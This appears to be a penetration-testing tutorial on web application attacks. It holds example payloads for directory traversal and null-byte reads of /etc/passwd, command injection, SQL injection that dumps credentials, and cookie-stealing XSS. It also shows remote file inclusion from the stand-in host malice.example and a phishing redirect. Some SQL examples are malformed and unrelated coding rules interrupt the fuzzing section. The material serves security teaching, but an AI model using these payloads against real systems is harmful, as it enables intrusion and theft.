Common Web Application Attack Techniques

Web App Attack

Commonalities Among Web Application Vulnerabilities

Web applications interact with many different users at the same time over a network, and as such, must be easily accessible to a large number of people. This accessibility leads to attackers manipulating various components of web apps in order to steal sensitive data, compromise other users’ sessions, disrupt the apps’ operation, and many more.

Web apps communicate in common languages for compatibility with the HTTP/S protocol and the browsers that enable users to interact with websites. Most apps, even if they run on a web framework like AngularJS, Ruby on Rails, Django (Python), etc., will still incorporate HTML and JavaScript code. In addition, most apps require reading from and writing to a database. Structured Query Language (SQL) is the most common querying language to enable this functionality. When you add all of these components together, you tend to encounter familiar and repeated vulnerabilities. In general, those vulnerabilities include:

  • Poorly implemented or non-existent security configurations.
  • Failings in authentication and authorization components.
  • Weaknesses to various types of code injection.
  • Weaknesses to cross-site scripting (XSS) and cross-site request forgery (CSRF).
  • Weaknesses to clickjacking.
  • Weaknesses to file inclusion exploits.
  • Weaknesses to web shells.
  • Insecure coding practices.

Security Misconfiguration Exploits

When applied to web apps, security misconfigurations can cover a wide variety of different issues that might lead to exploitation. The unifying factor in security misconfigurations is that some function of the web app is being implemented incorrectly with regard to security, or implemented without any protections whatsoever. Examples of improper configurations include:

  • Rolling your own encryption schemes instead of relying on industry standards.
  • Failing to remove content that no longer applies to the app and simply adds to its attack surface.
  • Failing to remove debugging controls after the app is pushed into production.
  • Exposing sensitive data to the client through unprotected files and folders.
  • Failing to patch vulnerable software modules.
  • Failing to set secure values in app frameworks, APIs, and other modules.
  • Processing sensitive data on the client side instead of on the server.
  • Failing to remove unused administrative or default accounts.

Security misconfigurations can enable multiple exploits. One such exploit is cookie manipulation, in which you modify a web cookie in some malicious way. For example, an e-commerce site might store the price of an item in the user’s shopping cart in the cookie itself. You can modify this price value in the cookie to something lower and then send a request back to the server with this cookie. The server might respond by actually lowering the price of the item to the value you set. This is why properly secured web apps will typically only contain a session identifier in the cookie, and handle sensitive data processing (like product price) entirely on the server side.

Another exploit is called directory traversal, which is the practice of accessing a file from a location that the user is not authorized to access. You can do this by inducing a web app to backtrack through the directory path so that the app reads or executes a file in a parent directory. The most simple example of directory traversal involves sending a ..\ or ../ command request to the application or API, which then traverses up one parent directory for each one of these commands. Directory traversal is the most effective when you’re able to traverse all the way back to the root to execute basically any command or program in any folder on the computer. However, this will only work if the application has been improperly configured to be able to access such folders.

Encoding Directory Traversal Requests

Properly configured web servers will filter out known untrusted input like the directory traversal character set. The filter may handle the input in some way or simply block the request altogether. However, you may be able to bypass these filters by encoding characters in your requests in hexadecimal. For example, %2E is equivalent to . (period) and %2F is equivalent to / (slash). So, instead of navigating to http://site.example/../../Windows/system32/cmd.exe to access a command shell on a Windows server, you could encode the URL as follows:

http://site.example/%2E%2E%2F%2E%2E%2FWindows/system32/cmd.exe

You can even double encode characters to get around filters that account for simple encoding. For example, you can encode the % symbol itself, which is %25 in hexadecimal. So, instead of %2E for a period, it would be %252E. The full example would then change to the following:

http://site.example/%252E%252E%252F%252E%252E%252FWindows/system32/cmd.exe

Poison Null Byte

A null byte is a character with a value of zero that is used in most programming languages to indicate the termination of a string. With a poison null byte, you can use this termination character to exploit a web app that does not properly handle null terminators. The hexadecimal representation of the poison null byte is %00. The poison null byte can support several different attacks, including directory traversal. For example, assume that the web app enables users to retrieve any file in the /var/www directory that has a .php extension, and nothing else. Even if you can traverse the file system to break out of that directory, you may not be able to access a specific file if it doesn’t end in .php. The poison null byte, however, can get around this:

http://site.example/page.php?file=../../etc/passwd%00

This indicates to the web app to drop the .php extension that it otherwise expects, enabling you to retrieve the passwd file.

Exploitation Tools

When it comes to exploiting misconfigurations or other weaknesses in web apps, you don’t just need to rely on a browser. OWASP Zed Attack Proxy (ZAP) and the Browser Exploitation Framework (BeEF) are examples of tools that can automate the process of exploiting a number of web app vulnerabilities.


Authentication Attacks

There are numerous ways to exploit authentication vulnerabilities in web apps. Some examples include:

  • Cracking credentials: Many of the password cracking techniques and tools you’ve encountered can also apply to web apps. Apps that fail to enforce strong password policies will make it easier for you to conduct brute force cracking. Some web app environments will also include default credentials for users like the administrator. The app developers might forget to change these default credentials, enabling you to sign in without conducting an intensive brute force cracking campaign. In some cases, you may also be able to dump the database with users’ hashed credentials, enabling you to perform offline cracking using wordlists or lookup tables.
  • Session hijacking: Users are assigned session identifiers through web cookies so that they can be authenticated to the web app and so that the app can validate their privileges. If you manage to steal a user’s session identifier, you may be able to take over that session and assume the user’s privileges by sending the identifier to the server from your attack machine. You could steal the (unencrypted) cookie by sniffing it over a network, using cross-site scripting to expose the identifier, etc.
  • Redirecting: Standard redirect attacks involve exploiting poor input validation by appending a URL request to the legitimate website, e.g., http://site.example/login?url=http://malice.example. This is commonly used in phishing attempts, where the user recognizes and trusts the legitimate site but does not realize that the link will redirect them to your malicious site. So, on your malicious site, you could set up a login page that looks similar to the real thing, and the user might start inputting their credentials.

A more advanced redirect attack involves exploiting the returnUrl parameter in Microsoft’s ASP.NET web app framework. This parameter is used in instances where a user tries to access a legitimate page requiring authentication, but their authentication cookie has either expired or needs to be generated. The user is directed to the legitimate site’s default login page, and if they successfully log in, they are then sent back to the page they were originally trying to access—the page supplied in the returnUrl parameter.

Example Attack Process

An example attack process that leverages this feature is as follows:

  1. You send a phishing email to a user with this HTML markup: <a href=”http://mybank.example/login?returnUrl=http://my.bank.example/login”>Click here to sign in.</a>

Note that http://mybank.example is the legitimate site, and http://my.bank.example is the pharming site that you own and have made to look like the real thing.

  1. The user clicks the link and is taken to the legitimate http://mybank.example.
  2. The user enters their credentials and is authenticated with the legitimate site.
  3. The legitimate site redirects the user to http://my.bank.example/login, and this is all that is displayed in the URL bar in the user’s browser.
  4. The malicious page has been set up to look identical to the same legitimate login page where the user just was. This page, however, tells the user that their login was unsuccessful and that they need to try again.
  5. The user inputs their credentials, unaware they are on the malicious page.
  6. The malicious page steals the user’s credentials, then sends the user to the legitimate http://mybank.example/dashboard page.
  7. The legitimate site has already authenticated the user, so the user can access this page and do their banking as if nothing happened.

Authorization Attacks

Similar to authentication, there are various types of attacks you can launch to take advantage of a web app’s authorization weaknesses. One type of attack is called parameter pollution. In parameter pollution, you supply multiple instances of the same parameter name in an HTTP request. Web apps that do not properly handle these duplicate parameters may enable you to modify values or trigger errors in the application.

For example, assume that there is a search functionality submitted through a GET request, typically in the format:

http://site.example/?search=treadmill

You can add a second instance of the search parameter to the request:

http://site.example/?search=treadmill&search

The web app’s validation routines, if configured poorly, may only test the last occurrence of a parameter. Since the last parameter’s value is empty, it throws that parameter out, but keeps the first parameter. The result might simply be results for “treadmill” or the page might return an error.

While the preceding example doesn’t reveal a direct vulnerability, applying parameter pollution to authorization mechanisms does. For example, assume the app accepts a security token in a POST request in order for users to sign in to the app’s management portal. The format might be something like this:

http://site.example/?token=<user token>&portalID=<victim portal ID>

In parameter pollution, the attacker would try to append a second instance of portalID with their own malicious portal, and replace the token value with their own token ID:

http://site.example/?token=<attacker token>&portalID=<attacker portal ID>&portalID=<victim portal ID>

If the web app is vulnerable, it might only check the first instance of portalID and operate on the second using the attacker’s token, logging them in to the portal.

Another attack that can leverage authorization weaknesses is insecure direct object references. A direct object reference is a reference to the actual name of a system object that the application uses. If you manipulate a parameter that directly references an object, you can craft that parameter to grant yourself access to other objects you’re unauthorized to access. For example, a call to an SQL database may request account information by directly referencing the acctname parameter. You can replace the acctname value with a different account name or number, which could grant you access to that account if the object reference is insecure.


Injection Attacks

Code injection is an attack that introduces malicious code into a vulnerable application to compromise the security of that application. This is made possible by weak or completely absent input processing routines in the app. Injection attacks enable you to compromise an app in many ways, including:

  • Causing a denial of service (DoS) of the app.
  • Escalating access privileges in the app.
  • Exposing and exfiltrating sensitive data in databases such as user credentials and PII.
  • Installing malicious software on the server hosting the app.
  • Defacing a website.

The mechanisms and outcomes of a code injection attack will depend on the language that your malicious code is written in. Since, in a code injection attack, you’re not introducing new runtime environments for the server to execute, you’ll be restricted to whatever languages the underlying web app technology supports. In other words, you are adding to the app’s execution, not creating new execution.

A similar concept is command injection, in which you supply malicious input to the web server, which then passes this input to a system shell for execution. In this sense, command injection does create new instances of execution and can therefore leverage languages that the web app does not directly support (e.g., Bash scripting).

In the following example, a PHP module named delete_file.php passes in user-supplied input and calls a Linux system shell to delete whatever was specified in the input:

<?php $file=$_GET[‘file_name’]; system(‘rm $file’); ?>

By submitting the following request, you can successfully enumerate the system’s user accounts:

http://site.example/delete_file.php?$file_name=test.txt;cat%20/etc/passwd

This is because adding a semicolon at the end of the request will execute the command after the semicolon in the system shell. Note that %20 is the encoded version of a space, as URLs cannot contain spaces.


SQL Injection

The most common type of code injection is SQL injection. In an SQL injection attack, you can modify one or more of the four basic functions of SQL querying (selecting, inserting, deleting, and updating data) by embedding code in some input within the web app, causing it to execute your own set of queries using SQL.

To identify SQL injection vulnerabilities in a web app, you should test every single input to include elements such as URL parameters, form fields, cookies, POST data, and HTTP headers. The simplest and most common method for identifying possible SQL injection vulnerabilities in a web app is to submit a single apostrophe and then look for errors. If an error is returned, you can see if it provides you with SQL syntax details that can then be used to construct a more effective SQL injection query.

To see this in action, consider the following SQL query that selects a user name and password from the database:

SELECT * FROM users WHERE username = ‘Bob’ AND password ‘Pa22w0rd’

In the user name field of the login form, you insert an apostrophe and select the submit button. Without proper input validation, the SQL query might be submitted as:

SELECT * FROM users WHERE username = ”’ AND password ‘Pa22w0rd’

Because the apostrophe is not a valid input for the username field, the server may respond with an error and reveal its query format or other useful information about the database, including column names. The response might also reveal where you can inject opening or closing parentheses into the query to properly complete its syntax.

Another way to execute a syntactically correct query is to use a value that is always true, such as 1=1, and then use the built-in capability to insert inline comments within the query by inputting the — characters. SQL will ignore anything following these comment characters. So, to put it together, you enter the string ‘ or 1=1– into the user name field. The SQL query is as follows:

SELECT * FROM users WHERE username = ” or 1=1–‘ AND password ‘Pa22w0rd’

The SQL syntax is now correct, and the database will not return an error if this SQL statement is sent to it. Instead, the database will return all user rows, since the 1=1 statement is always true. Everything after the — comment characters will not execute.

Certain web app APIs also allow you to stack multiple queries within the same call. This can be useful for injecting new query types into a form’s existing query type. For example, SQL has a UNION operator that combines the results of two or more SELECT statements. You can use this operator to obtain data from other tables that might not be directly exposed by the app.

For example, let’s say you have a product search form that you’ve probed for SQL injection weaknesses. You could perform the following query on the search form to try to merge the users table with the products table, looking for the first two values from users:

UNION SELECT ‘1’, ‘2’ FROM users–

However, UNION operations only work when both queries (i.e., the initial SELECT from products and the UNION SELECT from users) have the same number of columns. So, if the products table has five columns, you need to adjust your injection to include them:

UNION SELECT ‘1’, ‘2’, ‘3’, ‘4’, ‘5’ FROM users–

These queries are using placeholder values, whereas you may need to provide the actual columns names of the table you’re trying to merge. For example, you might want to display the username and password columns:

UNION SELECT ‘1’, username, password, ‘4’, ‘5’ FROM users–

This will merge the user name and password fields of each row of the users table into the search page, replacing the second and third columns with the credentials.

Note: There are many more SQL injection methods than the ones discussed here. For a more exhaustive list, navigate to www.owasp.org/www-community/attacks/SQL_Injection

Check out the SQLMap post for automated attacks:

https://hack.technoherder.com/sqlmap/


HTML Injection

HTML injection enables you to inject HTML elements into a web app for malicious purposes. Like with other forms of injection, you are targeting an input component of the app in order to add code that is valid and will execute if not handled properly by the app. The most common outcome of an HTML injection attack is the modification of a page’s contents.

As an example, assume that you are testing a web page with a field for submitting site feedback. The feedback is displayed on the same page after it is submitted for other users to see. This field does not properly sanitize input, so it is vulnerable to HTML injection. In the field, you enter:

I’m trying to sort the products but it’s not working. Can anyone help? <a href=”http://malice.example”>Click here to respond.</a>

When the input is submitted and returned to the page, it will include a link to your malicious site. This is because the web app fails to strip out the HTML tags, so they get added to the page. When a user browses the page, they will see the link and fall victim to your attack if they click it.

HTML injection is also effective when it’s used in conjunction with social engineering. You can include the injected code along with a link that you send to a victim in a phishing attempt. For example, a user’s profile page might provide a name parameter that displays the user’s name. You can place the following URL in a disguised link and send it to the victim:

http://site.example/profile.html?name=<a%20href=”http://malice.example”>Your%20account%20has%201%20outstanding%20issue.</a>

If the user is logged in and the site is vulnerable, they will see your injected link where their name should be. Note the use of encoded spaces.


Cross-Site Scripting Attacks

A cross-site scripting (XSS) attack is similar to HTML injection, but includes injecting JavaScript that executes on the client’s browser. The client’s browser is unable to tell that the script is untrusted and will allow it to execute. Malicious JavaScript can compromise a client by more than just changing the contents of a page; it can be used to steal session cookies, read sensitive information, and inject malware that can execute outside the browser on the user’s computer. XSS is one of the most popular and effective web app exploits and is made possible by poor input validation.

There are actually three different categories of XSS:

  • In a stored attack, also called a persistent attack, you inject malicious code or links into a website’s forums, databases, or other data. When a user views the stored malicious code or clicks a malicious link on the site, the attack is perpetrated against them. As the name suggests, the injected code remains in the page, as it is stored on the server.
  • In a reflected attack, you craft a form or other request to be sent to a legitimate web server. This request includes your malicious script. You then send a link to the victim with this request, and when the victim clicks this link, the malicious script is sent to the legitimate server and reflected off it. The script then executes on the victim’s browser. Unlike a stored attack, the malicious code in a reflected attack does not persist on the server.
  • In a Document Object Model (DOM)-based attack, malicious scripts are not sent to the server at all; rather, they take advantage of a web app’s client-side implementation of JavaScript to execute the attack solely on the client.

As with other injection attacks, you should probe input components in the web app for XSS vulnerabilities. The most basic example is finding a form like a search field, comments field, user name/password form, etc., and injecting the following script to open a pop-up on the client’s browser:

<script>alert(“Got you!”)</script>

In most cases, this will reflect off the server and only appear in a single response to the client. So, you’ll need to craft a URL to send a victim to:

http://site.example/?search=<script>alert(“XSS%20attack!”)<%2Fscript>

Crafting a persistent attack will require you to modify the data stored in the web app. You can try to do this with forms that you know store data, like the aforementioned site feedback page. Some injection points might not be so visible, however. Using the product search example, you’d need to actually change the values of the products table itself, rather than just injecting a script into the search results. Depending on the web app’s underlying technology, you may be able to change table data by POSTing content in an HTTP request. For example:

POST http://site.example/products Content-Type: application/json {“name”: “row”, “description”: “<script>alert(document.cookie)</script>”, “price”: 9.99}

Assuming you’ve obtained authorization (if any is needed), this adds a new row in the products table. The description entry will always trigger an alert on a page that displays this particular row. In this case, the alert will return the user’s cookie information.


Clickjacking

Clickjacking occurs when an attacker tricks a user into clicking a web page link that is different from where they had intended to go. After the victim clicks the link, they may be redirected to what appears to be a legitimate page where they input their sensitive information, similar to a pharming attack. A clickjacking attack can also redirect a user to a malicious web page that runs harmful scripts in a user’s browser.

Clickjacking is often made possible by framing, which delivers web content in HTML inline frames, or an iframe. You can use an iframe to make it the target of a link that is defined by other elements. When a user selects the link, they could, for example, start inputting their credentials while an invisible iframe is the one accepting the values.

The following is a real-world example that targeted Twitter. Users would post messages that included the text “Don’t Click: http://tinyurl.com/amgzs6”. On this page (since removed), you could inspect the HTML and see that it created an iframe that loaded Twitter’s reply functionality with filled-in content:

<iframe src=”http://twitter.com/home?status=Don’t Click: http://tinyurl.com/amgzs6″ scrolling=”no”></iframe>

The content was itself the same message that triggered the attack—in other words, a self-replicating attack like a worm. Below that iframe was: <button>Don’t Click</button>. When users clicked this button, they actually submitted the request in the iframe to Twitter. This was made possible because of the way the Twitter module was hidden “under” the button in CSS. The positional values in the CSS for the iframe and button were placed in such a way that the Twitter update button in the iframe was in the same basic position as the “Don’t Click” button. Most importantly, the iframe had its opacity set to 0, which effectively hid it from view, though it was still there, “under” the malicious button. Anyone clicking this button would instead be clicking the Twitter update button, which would then cause them to post a message to Twitter that propagated the attack. This specific attack was relatively benign, but you can use clickjacking to do many of the malicious things you can do with other web exploits.

Note: In a way, the Twitter example is similar to a CSRF in that it leverages the fact that the user’s browser is already authenticated with Twitter.


File Inclusion Attacks

In a file inclusion attack, you add a file to the running process of a web app. The file is either constructed to be malicious or manipulated to serve your malicious purposes. In either case, a file inclusion attack can lead to a number of security incidents, including: malicious code executing on the web server, malicious code executing on the client that accesses the server, sensitive data leaking, or a denial of service. There are two basic types of file inclusion: remote and local.

In remote file inclusion (RFI), you inject an external file into a web app that doesn’t apply proper input validation. You could, for instance, force a parameter in a web page to call an external link that includes the malicious file. As an example, consider a PHP page that includes a font parameter that has five different options, each one a different font type. You can manipulate this parameter to inject an option that isn’t one of these five—in particular, you can point to an external URL that contains a malicious PHP file:

http://site.example/page.php?font=http://malice.example/bad_file.php

In local file inclusion (LFI), you add a file that already exists on the hosting server to the web app. This is achievable on servers that are vulnerable to directory traversal; you are essentially navigating through the server’s file structure and executing a file. LFI can also leverage the poison null byte to bypass security mechanisms that restrict the request to .php files. This enables you to execute any file on the server, like opening a command prompt in Windows:

http://site.example/page.php?font=../../Windows/system32/cmd.exe%00


Fuzzing

Fuzzing, also known as fault injection, is a dynamic testing method used to identify vulnerabilities in applications by sending the application a range of random or unusual input data and noting any failures and crashes that result. Fuzzing can trigger buffer overflows and find memory leaks or other bugs in an app.

Fuzzing can be done manually, but because it involves sending repeated amounts of unusual input, it’s usually best left to automated tools. These tools are called fuzzers and can target many different types of input in many different types of apps. They can input unusual characters in text fields; activate buttons in unusual or unexpected patterns or frequencies; inject faulty scripts into web forms; and more. Fuzzers can be a very effective part of a pen tester’s app exploitation arsenal. However, it’s important to note that they are most useful for finding simple bugs, and are rarely able to find complex glitches in an app’s execution. Still, sometimes all it takes is a simple bug to create a security issue with a large impact.

Some examples of fuzzers include Peach Fuzzer, w3af, skipfish, and Simple Fuzzer. Simple Fuzzer uses a configuration file that includes the input to be sent to an app. You can modify this configuration file as you see fit. For example, you might create a text file called fuzz.cfg that contains uncommon Unicode characters:

sequence=Ω≈ç√∫˜µ≤≥÷åß∂ƒ©˙∆˚¬…æœ∑´®†¥¨ˆøπ maxseqlen=1000 endcfg FUZZ —

Then, you can direct Simple Fuzzer to use this to send 1,000 bytes worth of this input to an app through a TCP socket:

sfuzz -T -f fuzz.cfg -S 127.0.0.1 -p 9999

Give all methods upper and lower bounds to combat fuzzing.

Each calling function must check the return value of nonvoid functions, and each called function must check the validity of all parameters provided by the caller.

Do not use dynamic memory allocation after initialization.

Declare all data objects at the smallest possible level of scope.

The use of the preprocessor must be limited to the inclusion of header files and simple macro definitions.

Limit pointer use to a single dereference, and do not use function pointers.


Web Shells

A web shell is a script that has been loaded onto a web server that enables an attacker to send remote commands to that server. Using web shells, you can exfiltrate sensitive data stored on the server, send command and control (C&C) signals to the server as part of a botnet, install malware that branches out to other hosts on the network, and more. The act of loading the shell can be accomplished through many of the web attack vectors you’ve seen thus far, including XSS, SQL injection, RFI and LFI, and more.

What you can actually do with a web shell will depend on how it’s programmed, but in general, they can enable you to effectively control the execution of the web app and even the underlying server backend. For example, the open source web shell b374k comes with the following functionality:

  • A file manager with all of the standard features.
  • A bind or reverse shell.
  • Execution of scripts in multiple languages, like Python and Ruby.
  • A simple packet crafter.
  • An SQL schema explorer.
  • A process/task manager.
  • A mail client.
  • And more.

All of this functionality is available through several PHP and JavaScript modules that you can load onto the web server and run.


Guidelines for Exploiting Web Application Vulnerabilities

When exploiting web application vulnerabilities:

  • Perform reconnaissance on the underlying web technologies used by the app.
  • Manipulate data stored in cookies that a user shouldn’t be able to modify, such as data associated with database objects.
  • Use ../ to traverse the server’s directory.
  • Encode directory traversal in hexadecimal (%2E%2E%2F) to bypass rudimentary filters.
  • Double encode the % symbol as %25 to bypass filters that check for single encoding.
  • Use the poison null byte (%00) to get around file extension restrictions in directory traversal.
  • Use online and offline password cracking tools on a web app where applicable.
  • Steal a user’s session cookie and use it from your own machine to hijack the session.
  • Send duplicate instances of a parameter in a request to bypass poorly configured authorization mechanisms.
  • Leverage insecure direct object references to change the value of a parameter to something malicious.
  • Add a semicolon at the end of a request that makes a system call to execute the command after it in a Linux shell.
  • Use a single apostrophe in an input form to test for SQL errors.
  • Use a statement like OR 1=1 in an SQL injection to retrieve all available values.
  • Use the SQL comment characters (–) to have the app ignore a portion of the query.
  • Combine tables with UNION SELECT to dump data from a table not otherwise accessible.
  • Ensure both queries in a UNION SELECT include the same number of columns.
  • Inject forms with HTML code that includes malicious elements, like a link to a malicious site.
  • Test for input fields’ susceptibility to XSS attacks through JavaScript.
  • Use social engineering tactics to initiate a reflected XSS against a victim.
  • Craft HTTP requests to manipulate tables with malicious JavaScript that gets stored on the server.
  • Leverage the trust established between client and server to execute a CSRF attack.
  • Hide web elements in an invisible iframe behind some other visible element, like a button, to trick users.
  • Exploit poor input validation in parameters to upload a remote file to the server.
  • Execute local files on the server using directory traversal.
  • Load a web shell onto a server using a number of exploit tactics to gain control over the server.
  • Test the app for insecure coding practices like verbose error messages and comments.

Leave a Reply

Your email address will not be published. Required fields are marked *